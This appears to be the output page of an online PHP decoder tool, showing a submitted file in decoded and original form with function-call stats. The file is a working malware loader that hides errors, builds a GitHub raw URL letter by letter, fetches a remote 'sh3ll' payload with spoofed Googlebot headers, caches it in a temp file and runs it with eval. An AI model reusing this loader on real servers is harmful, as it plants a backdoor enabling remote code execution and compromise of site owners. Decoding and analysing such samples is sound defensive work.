Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
?><?php @error_reporting(0); @set_time_limit(0); @ini_set('output_buffering', 0); @ini_set..
Decoded Output download
<? ?><?php @error_reporting(0); @set_time_limit(0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); @ini_set('max_execution_time', 0); @ini_set('display_errors', 0); @ini_set('error_reporting', 0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ob_start(); @ini_set('zlib.output_compression', 0); @ini_set('implicit_flush', 1); for ($i = 0; $i < ob_get_level(); $i++) { @ob_end_flush(); } @ob_implicit_flush(1); @clearstatcache(); $log_sure = true; $check_sure = true; if (@file_exists(sys_get_temp_dir() . '/write_work.log') === true) { $JkpDKvhIJv = @file_get_contents(sys_get_temp_dir() . '/write_work.log'); if ((@strpos($JkpDKvhIJv, 'confirm:start of editor file') !== false) && (@strpos($JkpDKvhIJv, 'confirm:start of editor file') !== false)) { $GJkoFhLeFW = $JkpDKvhIJv; } else { $log_sure = false; } } else { $log_sure = false; } if ($log_sure === false) { if (@function_exists('curl_init')) { $SYLvJeZlK = @curl_init(); @curl_setopt($SYLvJeZlK, CURLOPT_URL, 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 's' . 't' . 'a' . 'g' . 'r' . 'a' . 'w' . 'e' . 'b' . '/' . 's' . 'h' . '3' . 'l' . 'l' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'z' . '8' . '8' . '.' . 't' . 'x' . 't'); @curl_setopt($SYLvJeZlK, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($SYLvJeZlK, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); @curl_setopt($SYLvJeZlK, CURLOPT_REFERER, "h" . 't' . 't' . 'p' . ':' . '/' . '/' . 'w' . 'w' . 'w' . '.' . 'g' . 'o' . 'o' . 'g' . 'l' . 'e' . '.' . 'c' . 'o' . 'm'); @curl_setopt($SYLvJeZlK, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); @curl_setopt($SYLvJeZlK, CURLOPT_HTTPHEADER, array('Expect:')); @curl_setopt($SYLvJeZlK, CURLOPT_ENCODING, ""); @curl_setopt($SYLvJeZlK, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($SYLvJeZlK, CURLOPT_CONNECTTIMEOUT, 20); @curl_setopt($SYLvJeZlK, CURLOPT_TIMEOUT, 20); @curl_setopt($SYLvJeZlK, CURLOPT_COOKIE, 'foo=bar'); $GJkoFhLeFW = @curl_exec($SYLvJeZlK); @curl_close($SYLvJeZlK); } else { $options = array('http' => array('method' => "GET", 'timeout' => 20, 'header' => "Accept-language: en
" . "Cookie: foo=bar
" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10"), "ssl" => array("verify_peer" => false, "verify_peer_name" => false)); $ZGlLXvMezwHf = @stream_context_create($options); $GJkoFhLeFW = @file_get_contents('h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 's' . 't' . 'a' . 'g' . 'r' . 'a' . 'w' . 'e' . 'b' . '/' . 's' . 'h' . '3' . 'l' . 'l' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'z' . '8' . '8' . '.' . 't' . 'x' . 't', false, $ZGlLXvMezwHf); } @file_put_contents(sys_get_temp_dir() . '/write_work.log', $GJkoFhLeFW); } $dlCKTQnYTo = @dirname(__FILE__); @file_put_contents('write_check_class.txt', $dlCKTQnYTo . ':::every check class'); @eval($GJkoFhLeFW); ?>
Did this file decode correctly?
Original Code
?><?php @error_reporting(0); @set_time_limit(0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); @ini_set('max_execution_time', 0); @ini_set('display_errors', 0); @ini_set('error_reporting', 0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ob_start(); @ini_set('zlib.output_compression', 0); @ini_set('implicit_flush', 1); for ($i = 0; $i < ob_get_level(); $i++) { @ob_end_flush(); } @ob_implicit_flush(1); @clearstatcache(); $log_sure = true; $check_sure = true; if (@file_exists(sys_get_temp_dir() . '/write_work.log') === true) { $JkpDKvhIJv = @file_get_contents(sys_get_temp_dir() . '/write_work.log'); if ((@strpos($JkpDKvhIJv, 'confirm:start of editor file') !== false) && (@strpos($JkpDKvhIJv, 'confirm:start of editor file') !== false)) { $GJkoFhLeFW = $JkpDKvhIJv; } else { $log_sure = false; } } else { $log_sure = false; } if ($log_sure === false) { if (@function_exists('curl_init')) { $SYLvJeZlK = @curl_init(); @curl_setopt($SYLvJeZlK, CURLOPT_URL, 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 's' . 't' . 'a' . 'g' . 'r' . 'a' . 'w' . 'e' . 'b' . '/' . 's' . 'h' . '3' . 'l' . 'l' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'z' . '8' . '8' . '.' . 't' . 'x' . 't'); @curl_setopt($SYLvJeZlK, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($SYLvJeZlK, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'); @curl_setopt($SYLvJeZlK, CURLOPT_REFERER, "h" . 't' . 't' . 'p' . ':' . '/' . '/' . 'w' . 'w' . 'w' . '.' . 'g' . 'o' . 'o' . 'g' . 'l' . 'e' . '.' . 'c' . 'o' . 'm'); @curl_setopt($SYLvJeZlK, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); @curl_setopt($SYLvJeZlK, CURLOPT_HTTPHEADER, array('Expect:')); @curl_setopt($SYLvJeZlK, CURLOPT_ENCODING, ""); @curl_setopt($SYLvJeZlK, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($SYLvJeZlK, CURLOPT_CONNECTTIMEOUT, 20); @curl_setopt($SYLvJeZlK, CURLOPT_TIMEOUT, 20); @curl_setopt($SYLvJeZlK, CURLOPT_COOKIE, 'foo=bar'); $GJkoFhLeFW = @curl_exec($SYLvJeZlK); @curl_close($SYLvJeZlK); } else { $options = array('http' => array('method' => "GET", 'timeout' => 20, 'header' => "Accept-language: en\r\n" . "Cookie: foo=bar\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10"), "ssl" => array("verify_peer" => false, "verify_peer_name" => false)); $ZGlLXvMezwHf = @stream_context_create($options); $GJkoFhLeFW = @file_get_contents('h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 's' . 't' . 'a' . 'g' . 'r' . 'a' . 'w' . 'e' . 'b' . '/' . 's' . 'h' . '3' . 'l' . 'l' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'z' . '8' . '8' . '.' . 't' . 'x' . 't', false, $ZGlLXvMezwHf); } @file_put_contents(sys_get_temp_dir() . '/write_work.log', $GJkoFhLeFW); } $dlCKTQnYTo = @dirname(__FILE__); @file_put_contents('write_check_class.txt', $dlCKTQnYTo . ':::every check class'); @eval($GJkoFhLeFW); ?>
Function Calls
ini_set | 9 |
ob_start | 1 |
ob_get_level | 1 |
set_time_limit | 1 |
error_reporting | 1 |
Stats
MD5 | 4660b0ec73960c6e8d5c2461c344f70b |
Eval Count | 0 |
Decode Time | 176 ms |